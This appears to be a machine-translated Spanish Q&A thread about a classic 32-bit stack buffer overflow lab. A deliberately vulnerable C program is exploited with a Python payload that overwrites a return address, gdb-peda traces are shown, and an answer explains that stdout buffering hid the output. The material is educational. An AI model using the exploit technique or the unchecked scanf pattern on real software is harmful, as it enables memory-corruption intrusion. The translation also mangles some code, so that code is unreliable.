El aprovechamiento del desbordamiento de búfer está llevando a una falla de segmentación

0
#include<stdio.h>
void secret(){
  printf("entered secret function");
}
void return_input()
{
  char array[60];
  scanf("%s", array);
  printf("%s\n",array);
}
int main()
{
  return_input();
  return 0;
}

usé este comando

gcc overflowtest.c -o overflowtest -fno-stack-protector -m32

Cuando hice un objdump, encontré que la función secreta está ubicada en 0x0804848b y que 68 bytes se asignan a la matriz, los siguientes 4 bytes almacenan el ebp del marco de pila anterior, y los siguientes 4 bytes la dirección de retorno

Intenté reemplazar la dirección de retorno de esta manera

python -c 'imprime "a" * 72 + "\ x8b \ x84 \ x04 \ x08"' | ./overflowtest

Pero dice aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Fallo de segmentación (núcleo volcado)

    
pregunta Sathyam Lokare 27.08.2018 - 13:11
fuente

1 respuesta

0

Esta fue una pregunta divertida para explorar.

Probé el exploit y obtuve el mismo resultado. Acabo de recibir un SegFault pero esperaba "función secreta ingresada" y un SegFault.

$ python -c "print 'a' * 68 + 'b' * 4 + '\x8b\x84\x04\x08'" > exploit.txt
$ ./overflowtest < exploit.txt 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb��
Segmentation fault (core dumped)

Abrí el programa usando gdb y traté de entender lo que está sucediendo. Establecí un punto de interrupción en return_input .

$ gdb -q overflowtest
Reading symbols from overflowtest...(no debugging symbols found)...done.
gdb-peda$ b return_input
Breakpoint 1 at 0x80484aa
gdb-peda$ run < exploit.txt 

Mira el siguiente estado:

[-------------------------------------code-------------------------------------]
   0x80484ca <return_input+38>: add    esp,0x10
   0x80484cd <return_input+41>: nop
   0x80484ce <return_input+42>: leave  
=> 0x80484cf <return_input+43>: ret    
   0x80484d0 <main>:    lea    ecx,[esp+0x4]
   0x80484d4 <main+4>:  and    esp,0xfffffff0
   0x80484d7 <main+7>:  push   DWORD PTR [ecx-0x4]
   0x80484da <main+10>: push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffcc7c --> 0x804848b (<secret>:   push   ebp)
0004| 0xffffcc80 --> 0xf7fa7300 --> 0xf7f50447 ("ISO-10646/UCS2/")
0008| 0xffffcc84 --> 0xffffcca0 --> 0x1 
0012| 0xffffcc88 --> 0x0 
0016| 0xffffcc8c --> 0xf7e0d637 (<__libc_start_main+247>:   add    esp,0x10)
0020| 0xffffcc90 --> 0xf7fa7000 --> 0x1b1db0 
0024| 0xffffcc94 --> 0xf7fa7000 --> 0x1b1db0 
0028| 0xffffcc98 --> 0x0 
[------------------------------------------------------------------------------]

Observe que la siguiente instrucción que se ejecutará es la instrucción ret . La parte superior de la pila tiene la dirección de secreto . Esto es exactamente lo que queríamos. Por lo tanto, no hay problemas hasta aquí.

El siguiente es el estado gdb-peda justo antes de que se ejecute printf dentro de la función secreta.

[-------------------------------------code-------------------------------------]
   0x804848e <secret+3>:    sub    esp,0x8
   0x8048491 <secret+6>:    sub    esp,0xc
   0x8048494 <secret+9>:    push   0x8048580
=> 0x8048499 <secret+14>:   call   0x8048340 <printf@plt>
   0x804849e <secret+19>:   add    esp,0x10
   0x80484a1 <secret+22>:   nop
   0x80484a2 <secret+23>:   leave  
   0x80484a3 <secret+24>:   ret
Guessed arguments:
arg[0]: 0x8048580 ("entered secret function")
arg[1]: 0x61616161 ('aaaa')
[------------------------------------stack-------------------------------------]
0000| 0xffffcc64 --> 0x8048580 ("entered secret function")
0004| 0xffffcc68 ('a' <repeats 16 times>, "bbbbbbbb")
0008| 0xffffcc6c ('a' <repeats 12 times>, "bbbbbbbb")
0012| 0xffffcc70 ("aaaaaaaabbbbbbbb")

Ahora, printf será ejecutado. La parte superior de la pila tiene la dirección de la cadena que tiene que imprimir. Todo bien hasta ahora.

Ejecuté printf y verifiqué la salida de "función secreta ingresada".

gdb-peda$ ni

Aquí está el problema. Incluso si se ejecutó printf, la cadena no se imprimió en la consola.

Entonces, podemos concluir que la explotación se realizó correctamente.

Entendamos por qué printf no imprimió esa cadena en la salida de la consola.

printf y muchas de estas funciones de salida funcionan de la siguiente manera.

  1. Cuando se ejecuta printf, el contenido que contiene es no impreso directamente en la consola. En su lugar, se almacena en un búfer.

    printf("entered secret function") ------------------------> [ OUTPUT_BUFFER ]----------------> console / (Standard Output)
    
  2. Más tarde, el búfer se vacía y todo se imprime en la consola.

  3. Como se explica en esta respuesta, la el búfer se vacía solo cuando se alcanzan ciertas condiciones.

    • El búfer se vacía si está lleno.
    • Se vacía si se encuentra una nueva línea.
    • Se vacía si el programa llega a su fin.
    • Se descarga si la forzamos a usar la función fflush .

Volviendo a la pregunta en cuestión,

  1. El printf ("función secreta ingresada") se ejecuta y la cadena se coloca en el OUTPUT_BUFFER.

  2. Si el overflowtest terminó normalmente, el OUTPUT_BUFFER se habría vaciado. Pero debido a la explotación, se terminó debido a un SegFault. Por lo tanto, el tampón no se tiró. Entonces, no viste "función secreta ingresada".

La función pone no funciona así. Agrega un carácter \ n / nueva línea a la cadena. Entonces, esa cadena se ve inmediatamente en la consola.

Entonces, si desea ver "función secreta ingresada", agregue un carácter nueva línea a ella - "función secreta ingresada \ n" o añada un fflush (stdout) despues de printf.

Espero haber respondido a tu pregunta.

Si algo no está claro, por favor deje un comentario a continuación.

    
respondido por el adwait1-g 29.12.2018 - 09:21
fuente

Lea otras preguntas en las etiquetas